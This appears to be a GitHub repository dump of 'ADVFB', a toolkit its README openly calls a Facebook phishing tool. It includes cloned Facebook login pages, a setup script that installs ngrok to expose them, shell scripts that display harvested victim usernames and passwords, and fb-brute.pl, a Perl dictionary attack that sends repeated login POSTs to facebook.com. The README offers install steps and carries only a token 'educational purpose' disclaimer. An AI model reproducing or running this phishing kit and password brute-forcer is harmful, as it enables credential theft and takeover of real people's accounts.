├── fb ├── ..... ├── index_files │ ├── ..... │ ├── GsNJNwuI-UM.gif │ ├── OBaVg52wtTZ.png │ ├── api.js │ ├── v4WgC_pJT9B.js │ ├── bframe.html │ ├── IhUXDwDlznYG7VZ0A3yuLJXPLrkxHnGU-rE_nXNj-Zk.js │ ├── qFPB0xXT86s.js │ └── Zv2K34UsWYP.js ├── mobile_files │ ├── ..... │ ├── v4WgC_pJT9B.js │ ├── V0Om-DH9YTH.css │ └── BeABftOMOi3.js ├── unnamed.png ├── index.php ├── login.php ├── ip.php ├── style.css └── cheack.html ├── 1.sh ├── right ├── ..... └── next.html ├── wrong └── ..... ├── 2.sh ├── facebook ├── ..... ├── index_files │ ├── ..... │ ├── GsNJNwuI-UM.gif │ ├── OBaVg52wtTZ.png │ ├── api.js │ ├── v4WgC_pJT9B.js │ ├── bframe.html │ ├── IhUXDwDlznYG7VZ0A3yuLJXPLrkxHnGU-rE_nXNj-Zk.js │ ├── qFPB0xXT86s.js │ └── Zv2K34UsWYP.js ├── mobile_files │ ├── ..... │ ├── v4WgC_pJT9B.js │ ├── V0Om-DH9YTH.css │ └── BeABftOMOi3.js ├── index.php ├── login.php └── ip.php ├── a.sh ├── b.sh ├── IMG_20200925_120633.jpg ├── LICENSE ├── id.sh ├── iid.sh ├── README.md ├── setup ├── fb-brute.pl └── advfb.sh /fb/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /1.sh: -------------------------------------------------------------------------------- 1 | bash a.sh 2 | -------------------------------------------------------------------------------- /right/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /wrong/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2.sh: -------------------------------------------------------------------------------- 1 | bash b.sh 2 | 3 | -------------------------------------------------------------------------------- /facebook/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /fb/index_files/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /fb/mobile_files/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /facebook/index_files/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /facebook/mobile_files/.....: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /a.sh: -------------------------------------------------------------------------------- 1 | clear 2 | rm -rf fb/next.html 3 | cp wrong/next.html fb 4 | bash iid.sh 5 | -------------------------------------------------------------------------------- /b.sh: -------------------------------------------------------------------------------- 1 | clear 2 | rm -rf fb/next.html 3 | cp right/next.html fb 4 | bash id.sh 5 | -------------------------------------------------------------------------------- /fb/unnamed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/ADVFB/master/fb/unnamed.png -------------------------------------------------------------------------------- /fb/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /IMG_20200925_120633.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/ADVFB/master/IMG_20200925_120633.jpg -------------------------------------------------------------------------------- /facebook/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /fb/index_files/GsNJNwuI-UM.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/ADVFB/master/fb/index_files/GsNJNwuI-UM.gif -------------------------------------------------------------------------------- /fb/index_files/OBaVg52wtTZ.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/ADVFB/master/fb/index_files/OBaVg52wtTZ.png -------------------------------------------------------------------------------- /facebook/index_files/GsNJNwuI-UM.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/ADVFB/master/facebook/index_files/GsNJNwuI-UM.gif -------------------------------------------------------------------------------- /facebook/index_files/OBaVg52wtTZ.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/ADVFB/master/facebook/index_files/OBaVg52wtTZ.png -------------------------------------------------------------------------------- /facebook/login.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Facebook 5 | 6 | 7 | 8 |

9 | 10 | 11 | -------------------------------------------------------------------------------- /fb/ip.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | 34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | facebook 43 |
44 | Facebook 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Defence Hackers 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /id.sh: -------------------------------------------------------------------------------- 1 | printf "\e[0m\n" 2 | printf "\e[0m\e[92m _ ____ __ __ \e[0m\e[93m _____ ____ \e[0m\n" 3 | printf "\e[0m\e[92mU / \ u | _ \ \ \ / /u \e[0m\e[93m | ___|U | __ )u\e[0m\n" 4 | printf "\e[0m\e[92m \/ _ \/ /| | | | \ \ / // \e[0m\e[93m U| |_ u \| _ \/\e[0m\n" 5 | printf "\e[0m\e[92m / ___ \ U| |_| |\ /\ V /_,-.\e[0m\e[93m \| _|/ | |_) |\e[0m\n" 6 | printf "\e[0m\e[92m/_/ \_\ |____/ uU \_/-(_/ \e[0m\e[93m |_| |____/ \e[0m\n" 7 | printf "\e[0m\e[92m \\ >> |||_ // \e[0m\e[93m )(\\,- _|| \\_ \e[0m\n" 8 | printf "\e[0m\e[92m(__) (__)(__)_) (__) \e[0m\e[93m (__)(_/ (__) (__)\e[0m\n" 9 | printf "\n" 10 | printf "\e[1;93m.:.:.\e[0m\e[1;77m Phishing Tool coded by: @Mr-Yenoj \e[0m\e[1;93m.:.:.\e[0m\n" 11 | printf "\e[0m\n" 12 | id=$(grep -o '.*' fb/usernames.txt | cut -d " " -f2) 13 | IFS=$'\n' 14 | pass=$(grep -o '.*' fb/pass.txt | cut -d ":" -f2) 15 | printf "\e[0m\n" 16 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Account:\e[0m\e[1;96m %s\n\e[0m" $id 17 | printf "\e[0m\n" 18 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Password:\e[0m\e[1;96m %s\n\e[0m" $pass 19 | -------------------------------------------------------------------------------- /iid.sh: -------------------------------------------------------------------------------- 1 | printf "\e[0m\n" 2 | printf "\e[0m\e[92m _ ____ __ __ \e[0m\e[93m _____ ____ \e[0m\n" 3 | printf "\e[0m\e[92mU / \ u | _ \ \ \ / /u \e[0m\e[93m | ___|U | __ )u\e[0m\n" 4 | printf "\e[0m\e[92m \/ _ \/ /| | | | \ \ / // \e[0m\e[93m U| |_ u \| _ \/\e[0m\n" 5 | printf "\e[0m\e[92m / ___ \ U| |_| |\ /\ V /_,-.\e[0m\e[93m \| _|/ | |_) |\e[0m\n" 6 | printf "\e[0m\e[92m/_/ \_\ |____/ uU \_/-(_/ \e[0m\e[93m |_| |____/ \e[0m\n" 7 | printf "\e[0m\e[92m \\ >> |||_ // \e[0m\e[93m )(\\,- _|| \\_ \e[0m\n" 8 | printf "\e[0m\e[92m(__) (__)(__)_) (__) \e[0m\e[93m (__)(_/ (__) (__)\e[0m\n" 9 | printf "\n" 10 | printf "\e[1;93m.:.:.\e[0m\e[1;77m Phishing Tool coded by: @Mr-Yenoj \e[0m\e[1;93m.:.:.\e[0m\n" 11 | printf "\e[0m\n" 12 | id=$(grep -o '.*' fb/usernames.txt | cut -d " " -f2) 13 | IFS=$'\n' 14 | pass=$(grep -o '.*' fb/pass.txt | cut -d ":" -f2) 15 | printf "\e[0m\e[92m Wrong Id nd Password... Victim Type Wrong Id And Password WE Also Tell Him\e[0m\n" 16 | printf "\e[0m\e[92m But Plzzz Try These Id Pass Once Your Self or Take a Screen Shot Now\e[0m\n" 17 | printf "\e[0m\n" 18 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Account:\e[0m\e[1;96m %s\n\e[0m" $id 19 | printf "\e[0m\n" 20 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Password:\e[0m\e[1;96m %s\n\e[0m" $pass 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

ADVFB v1.0

2 |

3 | A new automated script for FACEBOOK Ph*shing 4 |

5 | 6 | ## 🔍 ***About ADVFB***: 7 | 8 | ADVFB is a bash based script which is officially made for "phish*ng FACEBOOK WITH ADVANCE FEATURE". This tool works on KAlI LINUX ONLY. 9 | 10 | ![](IMG_20200925_120633.jpg) 11 | 12 | ### 📌 ***ADVFB is available for***: 13 | 14 | * KALI LINUX 15 | 16 | ### 📌 ***Installation and usage guide***: 17 | ``` 18 | $ apt-get update -y 19 | ``` 20 | ``` 21 | $ apt-get upgrade -y 22 | ``` 23 | ``` 24 | $ apt-get install git -y 25 | ``` 26 | ``` 27 | $ git clone https://github.com/Defence-Hackers/ADVFB 28 | ``` 29 | ``` 30 | $ ls 31 | ``` 32 | ``` 33 | $ cd ADVFB 34 | ``` 35 | ``` 36 | $ ls 37 | ``` 38 | ``` 39 | $ bash setup 40 | ``` 41 | ``` 42 | $ bash advfb.sh 43 | ``` 44 | * Now you need internet connection to continue further process... 45 | 46 | * You can select any option by clicking on your keyboard 47 | 48 | * Note:- Don't delete any of the scripts included in core files 49 | 50 | ## 📌 ***Full video tutorial***: 51 | 52 | ## 🔗 ***Check this*** 53 | 54 | ### Subscribe our channel on youtube: 55 | https://www.youtube.com/c/creativehackers 56 | or 57 | https://www.youtube.com/c/defencehackeryenoj 58 | 59 | ### Chekout our webite: 60 | https://www.creative-hackers.com 61 | or 62 | https://www.defence-hackers.com 63 | 64 | ## 👥 ***Join*** 65 | 66 | 67 | ### Telegram channel: 68 | https://t.me/YENOJ_CREATIVE 69 | 70 | ### Facebook page: 71 | https://www.facebook.com/MR.YENOJ/ 72 | 73 | ### Instagram: 74 | https://www.instagram.com/creative_hackers 75 | 76 | ### WHATSAPP GROUP: 77 | 78 | 79 | ### My GitHub ID link: 80 | https://www.github.com/Defence-Hackers 81 | 82 | ### 📢 Warning 83 | 84 | ***This tool is only for educational purpose. If you use this tool for other purposes except education we will not be responsible in such cases.*** 85 | -------------------------------------------------------------------------------- /setup: -------------------------------------------------------------------------------- 1 | banner() { 2 | 3 | clear 4 | printf "\e[0m\n" 5 | printf "\e[0m\e[92m _ ____ __ __ \e[0m\e[93m _____ ____ \e[0m\n" 6 | printf "\e[0m\e[92mU / \ u | _ \ \ \ / /u \e[0m\e[93m | ___|U | __ )u\e[0m\n" 7 | printf "\e[0m\e[92m \/ _ \/ /| | | | \ \ / // \e[0m\e[93m U| |_ u \| _ \/\e[0m\n" 8 | printf "\e[0m\e[92m / ___ \ U| |_| |\ /\ V /_,-.\e[0m\e[93m \| _|/ | |_) |\e[0m\n" 9 | printf "\e[0m\e[92m/_/ \_\ |____/ uU \_/-(_/ \e[0m\e[93m |_| |____/ \e[0m\n" 10 | printf "\e[0m\e[92m \\ >> |||_ // \e[0m\e[93m )(\\,- _|| \\_ \e[0m\n" 11 | printf "\e[0m\e[92m(__) (__)(__)_) (__) \e[0m\e[93m (__)(_/ (__) (__)\e[0m\n" 12 | printf "\n" 13 | printf "\e[1;93m.:.:.\e[0m\e[1;77m Phishing Tool coded by: @Mr-Yenoj \e[0m\e[1;93m.:.:.\e[0m\n" 14 | printf "\e[0m\n" 15 | 16 | } 17 | banner 18 | printf "\e[0m\n" 19 | printf "\e[0m\e[1;91m [\e[1;97m~\e[1;91m]\e[1;93m Installing Packages ....\e[0m\n" 20 | apt-get update -y > /dev/null 2>&1 21 | apt-get install perl -y > /dev/null 2>&1 22 | apt-get install php -y > /dev/null 2>&1 23 | apt-get install curl -y > /dev/null 2>&1 24 | apt-get install unzip -y > /dev/null 2>&1 25 | apt-get install -y xdg-utils > /dev/null 2>&1 26 | apt-get install wget -y > /dev/null 2>&1 27 | apt-get install openssh -y > /dev/null 2>&1 28 | printf "\e[0m\e[1;91m [\e[1;97m~\e[1;91m]\e[1;93m Installing Modules ....\e[0m\n" 29 | apt-get install libcrypt-ssleay-perl -y > /dev/null 2>&1 30 | apt-get install libnet-ssleay-perl -y > /dev/null 2>&1 31 | printf "\e[0m\e[1;91m [\e[1;97m~\e[1;91m]\e[1;93m Installing Ngrok ....\e[0m\n" 32 | curl -LO https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1 33 | if [[ -e ngrok-stable-linux-arm.zip ]]; then 34 | unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1 35 | rm -rf ngrok-stable-linux-arm.zip 36 | chmod +x ngrok 37 | else 38 | printf "\n \e[1;31m[\e[0m\e[1;77m!\e[0m\e[1;31m]\e[0m\e[1;93m Error \e[1;31m[\e[0m\e[1;77m!\e[0m\e[1;31m]\e[0m\e[1;96m Install Ngrok Manually.\e[0m\n" 39 | exit 1 40 | fi 41 | sleep 2 42 | printf "\e[0m\n" 43 | printf "\e[0m\e[1;91m [\e[1;97m~\e[1;91m]\e[1;93m Installation Completed !! \e[0m\n" 44 | printf "\e[0m\n" 45 | sleep 2 46 | printf "\e[0m\e[1;91m [\e[1;97m~\e[1;91m]\e[1;93m Type \e[1;96mbash advfb.sh \e[1;93mto run Advance Facebook Tool !! \e[0m\n" 47 | printf "\e[0m\n" 48 | printf "\e[0m\n" 49 | -------------------------------------------------------------------------------- /fb-brute.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Bruteforce-Facebook 4 | # 5 | # Description: 6 | # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS. 7 | # 8 | # Usage: 9 | # perl Imad'Ox-Bruter.pl login wordlist 10 | # login could be either a user's email address or profile name 11 | # 12 | # Module Requirements: 13 | # 14 | # Install module if missing: 15 | # perl -MCPAN -e 'install Net::SSLeay' 16 | # 17 | # Demo: 18 | # perl Imad'Ox-Bruter.pl Facebooklogin@facebook.com wordlist.lst 19 | # 20 | # --- Imad'Ox-Bruter Facebook password cracking tool 21 | # --- By Imad'Ox Hunter 22 | # --- www.facebook.com/imad.elouajib 23 | # 24 | # [+] Cracking Facebooklogin@facebook.com ... 25 | # 26 | # [-] test -> Failed 27 | # [-] test123 -> Failed 28 | # [-] testtest -> Failed 29 | # [-] testest123 -> Failed 30 | # [-] qwerty -> Failed 31 | # [-] azerty -> Failed 32 | # [-] password -> Failed 33 | # [-] password123 -> Failed 34 | # 35 | ######################################################## 36 | # [+] CRACKED! Your password is P@$$W0RD 37 | ######################################################## 38 | # 39 | 40 | use strict; 41 | use Net::SSLeay::Handle; 42 | 43 | if(!defined($ARGV[0] && $ARGV[1])) { 44 | 45 | system('clear'); 46 | print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n"; 47 | print "+++ Coded by Imad'Ox-Hunter\n"; 48 | print "+++ www.fb.com/imad.elouajib\n\n"; 49 | print "+++ Usage: perl $0 login wordlist\n\n"; 50 | exit; } 51 | 52 | my $user = $ARGV[0]; 53 | my $wordlist = $ARGV[1]; 54 | 55 | open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n"; 56 | 57 | print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n"; 58 | print "+++ Coded by Imad'Ox-Hunter\n"; 59 | print "+++ www.fb.com/imad.elouajib\n"; 60 | print "\n[+] Now Cracking $user ...\n\n"; 61 | 62 | while (my $password = ) { 63 | chomp ($password); 64 | $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg; 65 | 66 | my $a = "POST /login.php HTTP/1.1"; 67 | my $b = "Host: www.facebook.com"; 68 | my $c = "Connection: close"; 69 | my $e = "Cache-Control: max-age=0"; 70 | my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; 71 | my $g = "Origin: https://www.facebook.com"; 72 | my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"; 73 | my $i = "Content-Type: application/x-www-form-urlencoded"; 74 | my $j = "Accept-Encoding: gzip,deflate,sdch"; 75 | my $k = "Accept-Language: en-US,en;q=0.8"; 76 | my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3"; 77 | 78 | my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa"; 79 | my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In"; 80 | my $cl = length($post); 81 | my $d = "Content-Length: $cl"; 82 | 83 | 84 | my ($host, $port) = ("www.facebook.com", 443); 85 | 86 | tie(*SSL, "Net::SSLeay::Handle", $host, $port); 87 | 88 | 89 | print SSL "$a\n"; 90 | print SSL "$b\n"; 91 | print SSL "$c\n"; 92 | print SSL "$d\n"; 93 | print SSL "$e\n"; 94 | print SSL "$f\n"; 95 | print SSL "$g\n"; 96 | print SSL "$h\n"; 97 | print SSL "$i\n"; 98 | print SSL "$j\n"; 99 | print SSL "$k\n"; 100 | print SSL "$l\n"; 101 | print SSL "$cookie\n\n"; 102 | 103 | print SSL "$post\n"; 104 | 105 | my $success; 106 | while(my $result = ){ 107 | if($result =~ /Location(.*?)/){ 108 | $success = $1; 109 | } 110 | } 111 | if (!defined $success) 112 | { 113 | my $clear_string = `clear`; 114 | print $clear_string; 115 | system("/usr/bin/bash 1.sh "); 116 | close SSL; 117 | } 118 | else 119 | { 120 | my $clear_string = `clear`; 121 | print $clear_string; 122 | system("/usr/bin/bash 2.sh "); 123 | close SSL; 124 | exit; 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /fb/index_files/v4WgC_pJT9B.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["FEt5G"]); } 2 | 3 | __d("CavalryLoggerImpl",["Arbiter","Banzai","Bootloader","ImageTimingHelper","ISB","KillabyteProfilerConfig","NavigationTimingHelper","PageEvents","PageletEventConstsJS","PageletEventsHelper","PerfXLogger","ResourceTimingBootloaderHelper","ScriptPath","performance","performanceAbsoluteNow","__getTotalFactories","__getCompileTime","__getFactoryTime"],(function(a,b,c,d,e,f){__p&&__p();var g=b("KillabyteProfilerConfig").htmlProfilerModule,h=b("KillabyteProfilerConfig").profilerModule,i="cavalry",j=["t_start","t_paint","t_cstart"],k=window.CavalryLogger;Object.assign(k.prototype,{initializeInstrumentation:function(){__p&&__p();if(this.instrumentation_started)return;var c=this;b("Arbiter").subscribe("BigPipe/init",function(a,b){b.lid==c.lid&&b.arbiter&&(c._recordTTIEvent(b.arbiter,"tti_bigpipe"),c._recordDisplayedEvent(b.arbiter,"all_pagelets_displayed"),c._recordLoadedEvent(b.arbiter,"all_pagelets_loaded"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe("MRenderingScheduler/init",function(a,b){b.lid==c.lid&&(c._recordTTIEvent(b.arbiter,"MRenderingScheduler/tti"),c._recordDisplayedEvent(b.arbiter,"MRenderingScheduler/dd"),c._recordLoadedEvent(b.arbiter,"MRenderingScheduler/e2e"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe(b("PageEvents").BIGPIPE_ONLOAD,function(d,e){a.bigPipe&&c.lid===a.bigPipe.lid&&c.addPiggyback("cjs_factory_count_e2e",b("__getTotalFactories")()).addPiggyback("cjs_compile_time_e2e",b("__getCompileTime")()).addPiggyback("cjs_factory_time_e2e",b("__getFactoryTime")())});c.addPiggyback("script_path",b("ScriptPath").getScriptPath());this.is_detailed_profiler&&b("PageletEventsHelper").init();this.instrumentation_started=!0},_recordTTIEvent:function(a,b){__p&&__p();var c=this;a.subscribe(b,function(a,b){if(b.lid==c.lid){if(b.metrics)for(var d in b.metrics)c.addPiggyback(d,b.metrics[d]);b.usageSnapshot&&(c.ttiUsageSnapshot=b.usageSnapshot);c._setTTIPhase(b.phase).measurePageLoad(!0,b.ts);c.setAbsTimeStamp("t_bigpipe_tti",b.ts,!0)}})},_recordDisplayedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&(b.usageSnapshot&&(c.ddUsageSnapshot=b.usageSnapshot),c.setAbsTimeStamp("t_marker_all_pagelets_displayed",b.ts,!0))})},_recordLoadedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&c.setAbsTimeStamp("t_marker_bigpipe_e2e",b.ts,!0)})},_recordPageletEventsTime:function(a){__p&&__p();if(this.is_detailed_profiler){var c=this;a.subscribe("pagelet_event",function(a,d){if(d.lid==c.lid){a=d.id;c.events[a]=c.events[a]||{};c.events[a][d.event]=d.ts-window._cstart;d.event===b("PageletEventConstsJS").ARRIVE_END&&(c.events[a].phase=d.phase)}})}},_setTTIPhase:function(a){this.addPiggyback("tti_phase",a);return this},setTimeStamp:function(a,c,d,e){this.mark(a);var f=this.values.t_cstart||this.values.t_start;f=e?f+e:b("performanceAbsoluteNow")();this.setValue(a,f,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c);return this},setAbsTimeStamp:function(a,b,c,d){this.setValue(a,b,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c,b);return this},log:function(){__p&&__p();var a={lid:this.lid};b("ISB").token&&(a.fb_isb=b("ISB").token);this.addPiggyback("pagelet_events",b("PageletEventsHelper").getMetrics(this.lid));this.setValue("client_pixel_ratio_10x",parseInt((window.devicePixelRatio||1)*10,10));this._moveBootloaderData();a=babelHelpers["extends"]({t_creport:b("performanceAbsoluteNow")()},a,this.values,this.piggy_values);var c=window.__bodyWrapper;if(c.getCodeUsage&&h){if(!this.start||!this.e2e||!this.dd)throw new Error("Timestamps are missing in Cavalry. Please report this to the Web Speed team");var d=h.findUsedCSSSelectors(document,h.getDocumentStylesheets(document));d={js_calls:JSON.stringify(c.getCodeUsage()),css_selectors:JSON.stringify(d),bootloads:JSON.stringify(this._getBootloadsUntil(this.e2e))};g&&(d.html=JSON.stringify(g.getKillabyteHTMLData()));var e=babelHelpers["extends"]({},h.getDataForSnapshot(this.ddUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.dd))});d={e2e:d,dd:e};if(this.ttiUsageSnapshot){if(!this.tti)throw new Error("tti timestamp should always be present if we have usage data");d.tti=babelHelpers["extends"]({},h.getDataForSnapshot(this.ttiUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.tti))})}b("Arbiter").inform("cavalry_usage_data_collected",{usageData:d,lid:this.lid},"state");c.clearCodeUsage()}e=b("PerfXLogger").getPayload(a.lid);e&&this._logPerfXPiggybacks(a,e);b("Banzai").post(i,a,b("Banzai").VITAL);d=this.values;this.values={};this.piggy_values={};for(var c=0;c=c.start&&b<=a}).map(function(a){var b=a[0];a[1];return b})},measurePageLoad:function(a,b){b?this.setAbsTimeStamp("t_tti",b,a):this.setTimeStamp("t_tti",a),this._collectMetrics(a)},collectBrowserTiming:function(a){if(b("performance").timing){this.start=b("performance").timing.navigationStart;this.tti=this.values.t_bigpipe_tti;this.dd=this.values.t_marker_all_pagelets_displayed;this.e2e=this.values.t_onload;a=b("NavigationTimingHelper").getNavTimings();this.addPiggyback("navigation_timing",a);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(0,!1).data),this._collectTTIAndE2EWithImages())}},collectTimingForAsync:function(a,c){__p&&__p();if(!c)return;if(b("performance").timing&&b("performance").getEntriesByName){a=b("performance").getEntriesByName(c);if(a.length===0)return;this.start=b("performance").timing.navigationStart+a[0].startTime;this.tti=this.values.t_bigpipe_tti;this.e2e=this.values.t_onload;c=b("NavigationTimingHelper").getAsyncRequestTimings(c);this.addPiggyback("navigation_timing",c);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(a[0].startTime,!1).data),this._collectTTIAndE2EWithImages())}},_collectTTIAndE2EWithImages:function(){var a=b("performance").timing.navigationStart,c=this.values.t_bigpipe_tti,d=this.values.t_marker_bigpipe_e2e,e=b("ImageTimingHelper").getImageTimings(this.lid);c=b("ResourceTimingBootloaderHelper").getLastTTIAndE2EImageResponseEnds(c,d,e);!isNaN(c.TTI)&&c.TTI!==a&&this.setAbsTimeStamp("t_tti_with_images",c.TTI);!isNaN(c.E2E)&&c.E2E!==a&&this.setAbsTimeStamp("t_marker_bigpipe_e2e_with_images",c.E2E)}});Object.assign(k,{startInstrumentation:function(){for(var a in k.instances){var b=k.instances[a];b.initializeInstrumentation();"t_tti"in b.values&&b.measurePageLoad(!1,b.values.t_tti)}},hookLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.setPageID(a),k.instances[a].log()},[b("PageEvents").NATIVE_ONLOAD])},hookCollectAndLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.getInstance(a).collectBrowserTiming(),k.getInstance(a).log()},[b("PageEvents").BIGPIPE_ONLOAD])}});e.exports=k}),null); -------------------------------------------------------------------------------- /fb/mobile_files/v4WgC_pJT9B.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["FEt5G"]); } 2 | 3 | __d("CavalryLoggerImpl",["Arbiter","Banzai","Bootloader","ImageTimingHelper","ISB","KillabyteProfilerConfig","NavigationTimingHelper","PageEvents","PageletEventConstsJS","PageletEventsHelper","PerfXLogger","ResourceTimingBootloaderHelper","ScriptPath","performance","performanceAbsoluteNow","__getTotalFactories","__getCompileTime","__getFactoryTime"],(function(a,b,c,d,e,f){__p&&__p();var g=b("KillabyteProfilerConfig").htmlProfilerModule,h=b("KillabyteProfilerConfig").profilerModule,i="cavalry",j=["t_start","t_paint","t_cstart"],k=window.CavalryLogger;Object.assign(k.prototype,{initializeInstrumentation:function(){__p&&__p();if(this.instrumentation_started)return;var c=this;b("Arbiter").subscribe("BigPipe/init",function(a,b){b.lid==c.lid&&b.arbiter&&(c._recordTTIEvent(b.arbiter,"tti_bigpipe"),c._recordDisplayedEvent(b.arbiter,"all_pagelets_displayed"),c._recordLoadedEvent(b.arbiter,"all_pagelets_loaded"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe("MRenderingScheduler/init",function(a,b){b.lid==c.lid&&(c._recordTTIEvent(b.arbiter,"MRenderingScheduler/tti"),c._recordDisplayedEvent(b.arbiter,"MRenderingScheduler/dd"),c._recordLoadedEvent(b.arbiter,"MRenderingScheduler/e2e"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe(b("PageEvents").BIGPIPE_ONLOAD,function(d,e){a.bigPipe&&c.lid===a.bigPipe.lid&&c.addPiggyback("cjs_factory_count_e2e",b("__getTotalFactories")()).addPiggyback("cjs_compile_time_e2e",b("__getCompileTime")()).addPiggyback("cjs_factory_time_e2e",b("__getFactoryTime")())});c.addPiggyback("script_path",b("ScriptPath").getScriptPath());this.is_detailed_profiler&&b("PageletEventsHelper").init();this.instrumentation_started=!0},_recordTTIEvent:function(a,b){__p&&__p();var c=this;a.subscribe(b,function(a,b){if(b.lid==c.lid){if(b.metrics)for(var d in b.metrics)c.addPiggyback(d,b.metrics[d]);b.usageSnapshot&&(c.ttiUsageSnapshot=b.usageSnapshot);c._setTTIPhase(b.phase).measurePageLoad(!0,b.ts);c.setAbsTimeStamp("t_bigpipe_tti",b.ts,!0)}})},_recordDisplayedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&(b.usageSnapshot&&(c.ddUsageSnapshot=b.usageSnapshot),c.setAbsTimeStamp("t_marker_all_pagelets_displayed",b.ts,!0))})},_recordLoadedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&c.setAbsTimeStamp("t_marker_bigpipe_e2e",b.ts,!0)})},_recordPageletEventsTime:function(a){__p&&__p();if(this.is_detailed_profiler){var c=this;a.subscribe("pagelet_event",function(a,d){if(d.lid==c.lid){a=d.id;c.events[a]=c.events[a]||{};c.events[a][d.event]=d.ts-window._cstart;d.event===b("PageletEventConstsJS").ARRIVE_END&&(c.events[a].phase=d.phase)}})}},_setTTIPhase:function(a){this.addPiggyback("tti_phase",a);return this},setTimeStamp:function(a,c,d,e){this.mark(a);var 